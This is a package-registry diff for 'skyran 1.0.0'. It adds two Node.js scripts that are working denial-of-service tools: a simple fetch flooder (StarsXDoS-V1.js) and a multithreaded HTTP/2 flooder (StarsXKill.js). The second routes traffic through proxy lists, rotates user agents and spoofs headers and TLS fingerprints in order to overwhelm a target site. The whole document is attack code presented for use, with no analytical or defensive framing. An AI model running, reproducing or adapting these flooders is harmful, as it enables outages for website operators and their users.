skyran 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,20 @@
1
+ const target = process.argv[2];
2
+ const duration = process.argv[3];
3
+
4
+ if (process.argv.length < 4 || isNaN(parseInt(duration))) {
5
+ console.log('Invalid Usage: node StarsXDoS-V1.js URL DURATION.');
6
+ process.exit(1)
7
+ } else {
8
+ const attackInterval = setInterval(() => {
9
+ for (let i = 0; i < 100; i++) {
10
+ fetch(target).catch(error => {});
11
+ }
12
+
13
+ });
14
+
15
+ setTimeout(() => {
16
+ clearInterval(attackInterval);
17
+ console.log('Attack stopped.');
18
+ process.exit(0);
19
+ }, duration * 1000);
20
+ }
@@ -0,0 +1,297 @@
1
+ const net = require("net");
2
+ const http2 = require("http2");
3
+ const tls = require("tls");
4
+ const cluster = require("cluster");
5
+ const url = require("url");
6
+ const crypto = require("crypto");
7
+ const fs = require("fs");
8
+
9
+ process.setMaxListeners(0);
10
+ require("events").EventEmitter.defaultMaxListeners = 0;
11
+
12
+ if (process.argv.length < 5){console.log(`
13
+ HOW TO RUN METHOD!
14
+ node StarsXKill.js [URL] [TIME] [RPS] [THREAD]
15
+ `); process.exit();}
16
+
17
+ const cplist = [ // Cipher By PermenMD
18
+ "ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA384:HIGH:!aNULL:!MD5:!RC4",
19
+ "ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:RSA-PSS-RSAE-SHA512:RSA-PKCS1-SHA512:RSA-PSS-RSAE-SHA384:RSA-PKCS1-SHA384:RSA-PSS-RSAE-SHA256:RSA-PKCS1-SHA256",
20
+ "ECDHE-RSA-AES256-GCM-SHA384:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES128-GCM-SHA256:AES128-GCM-SHA256:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-ECDSA-CHACHA20-POLY1305:DHE-RSA-CHACHA20-POLY1305:DHE-DSS-AES128-GCM-SHA256:AES256-SHA:AES128-SHA:HIGH:!aNULL:!MD5:!RC4",
21
+ "ECDHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES128-GCM-SHA256:HIGH:!aNULL:!MD5",
22
+ "ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-SHA384:HIGH:!aNULL:!MD5",
23
+ "AES256-GCM-SHA384:AES128-GCM-SHA256:AES256-SHA:HIGH:!aNULL:!MD5:!RC4",
24
+ "DHE-RSA-AES128-SHA256:DHE-DSS-AES128-SHA256:HIGH:!aNULL:!MD5",
25
+ "ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-CHACHA20-POLY1305:HIGH:!aNULL:!MD5",
26
+ "ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA384:AES256-SHA:HIGH:!aNULL:!MD5:!3DES",
27
+ "DHE-RSA-AES256-SHA256:DHE-DSS-AES256-SHA256:HIGH:!aNULL:!MD5",
28
+ "ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256:HIGH:!aNULL:!MD5",
29
+ "AES128-SHA:AES256-SHA:AES128-GCM-SHA256:HIGH:!aNULL:!MD5:!RC4",
30
+ "RC4-SHA:RC4:ECDHE-RSA-AES256-SHA:AES256-SHA:HIGH:!MD5:!aNULL:!EDH:!AESGCM",
31
+ "ECDHE-RSA-AES256-SHA:RC4-SHA:RC4:HIGH:!MD5:!aNULL:!EDH:!AESGCM",
32
+ "ECDHE-RSA-AES256-SHA:AES256-SHA:HIGH:!AESGCM:!CAMELLIA:!3DES:!EDH"
33
+ ];
34
+ var cipper = cplist[Math.floor(Math.floor(Math.random() * cplist.length))];
35
+
36
+ const sigalgs = "ecdsa_secp256r1_sha256:rsa_pss_rsae_sha256:rsa_pkcs1_sha256:ecdsa_secp384r1_sha384:rsa_pss_rsae_sha384:rsa_pkcs1_sha384:rsa_pss_rsae_sha512:rsa_pkcs1_sha512";
37
+
38
+ const ecdhCurve = "GREASE:x25519:secp256r1:secp384r1";
39
+
40
+ const secureOptions =
41
+ crypto.constants.SSL_OP_NO_SSLv2 |
42
+ crypto.constants.SSL_OP_NO_SSLv3 |
43
+ crypto.constants.SSL_OP_NO_TLSv1 |
44
+ crypto.constants.SSL_OP_NO_TLSv1_1 |
45
+ crypto.constants.ALPN_ENABLED |
46
+ crypto.constants.SSL_OP_ALLOW_UNSAFE_LEGACY_RENEGOTIATION |
47
+ crypto.constants.SSL_OP_CIPHER_SERVER_PREFERENCE |
48
+ crypto.constants.SSL_OP_LEGACY_SERVER_CONNECT |
49
+ crypto.constants.SSL_OP_COOKIE_EXCHANGE |
50
+ crypto.constants.SSL_OP_PKCS1_CHECK_1 |
51
+ crypto.constants.SSL_OP_PKCS1_CHECK_2 |
52
+ crypto.constants.SSL_OP_SINGLE_DH_USE |
53
+ crypto.constants.SSL_OP_SINGLE_ECDH_USE |
54
+ crypto.constants.SSL_OP_NO_SESSION_RESUMPTION_ON_RENEGOTIATION;
55
+
56
+ const secureProtocol = "TLS_client_method";
57
+ const headers = {};
58
+
59
+ const secureContextOptions = {
60
+ ciphers: cipper,
61
+ sigalgs: sigalgs,
62
+ honorCipherOrder: true,
63
+ secureOptions: secureOptions,
64
+ secureProtocol: secureProtocol
65
+ };
66
+
67
+ const secureContext = tls.createSecureContext(secureContextOptions);
68
+
69
+ var proxyFile = "proxy.txt";
70
+ var proxies = readLines(proxyFile);
71
+ var userAgents = readLines("ua.txt");
72
+
73
+ const args = {
74
+ target: process.argv[2],
75
+ time: ~~process.argv[3],
76
+ Rate: ~~process.argv[4],
77
+ threads: ~~process.argv[5]
78
+ }
79
+
80
+ const parsedTarget = url.parse(args.target);
81
+
82
+ if (cluster.isMaster) {
83
+ for (let counter = 1; counter <= args.threads; counter++) {
84
+ cluster.fork();
85
+ }
86
+
87
+ console.clear();
88
+ console.log(`
89
+ ┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
90
+ TARGET : ` + parsedTarget.host + `
91
+ DURATION : ` + args.time + `
92
+ THREADS : ` + args.threads + `
93
+ RPS : ` + args.Rate + `
94
+ ┣━━━━━━━━━━━━━━━ ATTACK STARTED ━━━━━━━━━━━━━━━━━┫
95
+ ┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛
96
+ `);
97
+
98
+ setTimeout(() => {
99
+ process.exit(1);
100
+ }, process.argv[3] * 1000);
101
+
102
+ } else {for (let i = 0; i < 25; i++) { setInterval(runFlooder, 0) }}
103
+
104
+ class NetSocket {
105
+ constructor(){}
106
+
107
+ HTTP(options, callback) {
108
+ const parsedAddr = options.address.split(":");
109
+ const addrHost = parsedAddr[0];
110
+ const payload = "CONNECT " + options.address + ":443 HTTP/1.2\r\nHost: " + options.address + ":443\r\nConnection: Keep-Alive\r\n\r\n"; //Keep Alive
111
+ const buffer = new Buffer.from(payload);
112
+
113
+ const connection = net.connect({
114
+ host: options.host,
115
+ port: options.port,
116
+ allowHalfOpen: true,
117
+ writable: true,
118
+ readable: true
119
+ });
120
+
121
+ connection.setTimeout(options.timeout * 10000);
122
+ connection.setKeepAlive(true, 10000);
123
+ connection.setNoDelay(true)
124
+
125
+ connection.on("connect", () => {
126
+ connection.write(buffer);
127
+ });
128
+
129
+ connection.on("data", chunk => {
130
+ const response = chunk.toString("utf-8");
131
+ const isAlive = response.includes("HTTP/1.1 200");
132
+ if (isAlive === false) {
133
+ connection.destroy();
134
+ return callback(undefined, "error: invalid response from proxy server");
135
+ }
136
+ return callback(connection, undefined);
137
+ });
138
+
139
+ connection.on("timeout", () => {
140
+ connection.destroy();
141
+ return callback(undefined, "error: timeout exceeded");
142
+ });
143
+
144
+ connection.on("error", error => {
145
+ connection.destroy();
146
+ return callback(undefined, "error: " + error);
147
+ });
148
+ }
149
+ }
150
+
151
+ const Socker = new NetSocket();
152
+
153
+ function readLines(filePath) {
154
+ return fs.readFileSync(filePath, "utf-8").toString().split(/\r?\n/);
155
+ }
156
+
157
+ function randomIntn(min, max) {
158
+ return Math.floor(Math.random() * (max - min) + min);
159
+ }
160
+
161
+ function randomElement(elements) {
162
+ return elements[randomIntn(0, elements.length)];
163
+ }
164
+
165
+ function randomCharacters(length) {
166
+ output = ""
167
+ for (let count = 0; count < length; count++) {
168
+ output += randomElement(characters);
169
+ }
170
+ return output;
171
+ }
172
+
173
+ headers[":method"] = "GET";
174
+ headers[":path"] = parsedTarget.path;
175
+ headers[":scheme"] = "https";
176
+ headers["accept"] = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8";
177
+ headers["accept-language"] = "es-AR,es;q=0.8,en-US;q=0.5,en;q=0.3";
178
+ headers["accept-encoding"] = "gzip, deflate, br";
179
+ headers["content-type"] = "text/html";
180
+ headers["Except"] = "100-continue";
181
+ headers["Forwarder"] = "for=192.168.0.1;proto=http";
182
+ headers["From"] = "user@gmail.com";
183
+ headers["Max-Forwards"] = "10";
184
+ headers["origin"] = "https://" + parsedTarget.host;
185
+ headers["x-forwarded-proto"] = "https";
186
+ headers["pragma"] = "no-cache";
187
+ headers["referer"] = parsedTarget
188
+ headers["cache-control"] = "no-cache, no-store,private, max-age=0, must-revalidate";
189
+ headers["sec-ch-ua-mobile"] = randomElement(["?0", "?1"]);
190
+ headers["sec-ch-ua-platform"] = randomElement(["Android", "iOS", "Linux", "macOS", "Windows"]);
191
+ headers["sec-fetch-dest"] = "document";
192
+ headers["sec-fetch-mode"] = "navigate";
193
+ headers["sec-fetch-site"] = "same-origin";
194
+ headers["upgrade-insecure-requests"] = "1";
195
+
196
+ function runFlooder() {
197
+ const proxyAddr = randomElement(proxies);
198
+ const parsedProxy = proxyAddr.split(":");
199
+
200
+ /** headers dynamic */
201
+ headers[":authority"] = parsedTarget.host
202
+ headers["user-agent"] = randomElement(userAgents);
203
+ headers["x-forwarded-for"] = parsedProxy[0];
204
+
205
+ const proxyOptions = {
206
+ host: parsedProxy[0],
207
+ port: ~~parsedProxy[1],
208
+ address: parsedTarget.host + ":443",
209
+ timeout: 15
210
+ };
211
+
212
+ Socker.HTTP(proxyOptions, (connection, error) => {
213
+ if (error) return
214
+
215
+ connection.setKeepAlive(true, 60000);
216
+ connection.setNoDelay(true)
217
+
218
+ const settings = {
219
+ enablePush: false,
220
+ initialWindowSize: 1073741823
221
+ };
222
+
223
+ const tlsOptions = {
224
+ port: 443,
225
+ secure: true,
226
+ ALPNProtocols: ["h2", "http/1.2", "h3", "http/2+quic/43", 'http/2+quic/44', 'http/2+quic/45'],
227
+ ciphers: cipper,
228
+ sigalgs: sigalgs,
229
+ requestCert: true,
230
+ socket: connection,
231
+ ecdhCurve: ecdhCurve,
232
+ honorCipherOrder: true,
233
+ host: parsedTarget.host,
234
+ rejectUnauthorized: false,
235
+ clientCertEngine: "dynamic",
236
+ secureOptions: secureOptions,
237
+ secureContext: secureContext,
238
+ servername: parsedTarget.host,
239
+ secureProtocol: secureProtocol
240
+ };
241
+
242
+ const tlsConn = tls.connect(443, parsedTarget.host, tlsOptions);
243
+
244
+ tlsConn.allowHalfOpen = true;
245
+ tlsConn.setNoDelay(true);
246
+ tlsConn.setKeepAlive(true, 60 * 1000);
247
+ tlsConn.setMaxListeners(0);
248
+
249
+ const client = http2.connect(parsedTarget.href, {
250
+ protocol: "https:",
251
+ settings: settings,
252
+ maxSessionMemory: 3333,
253
+ maxDeflateDynamicTableSize: 4294967295,
254
+ createConnection: () => tlsConn
255
+ //socket: connection,
256
+ });
257
+
258
+ client.setMaxListeners(0);
259
+ client.settings(settings);
260
+
261
+ client.on("connect", () => {
262
+ const IntervalAttack = setInterval(() => {
263
+ for (let i = 0; i < args.Rate; i++) {
264
+ headers["referer"] = "https://" + parsedTarget.host + parsedTarget.path;
265
+ const request = client.request(headers)
266
+
267
+ .on("response", response => {
268
+ request.close();
269
+ request.destroy();
270
+ return
271
+ });
272
+
273
+ request.end();
274
+ }
275
+ }, 1000);
276
+ });
277
+
278
+ client.on("close", () => {
279
+ client.destroy();
280
+ connection.destroy();
281
+ return
282
+ });
283
+
284
+ client.on("error", error => {
285
+ client.destroy();
286
+ connection.destroy();
287
+ return
288
+ });
289
+ });
290
+ }
291
+
292
+ const KillScript = () => process.exit(1);
293
+
294
+ setTimeout(KillScript, args.time * 1000);
295
+
296
+ process.on('uncaughtException', error => {});
297
+ process.on('unhandledRejection', error => {});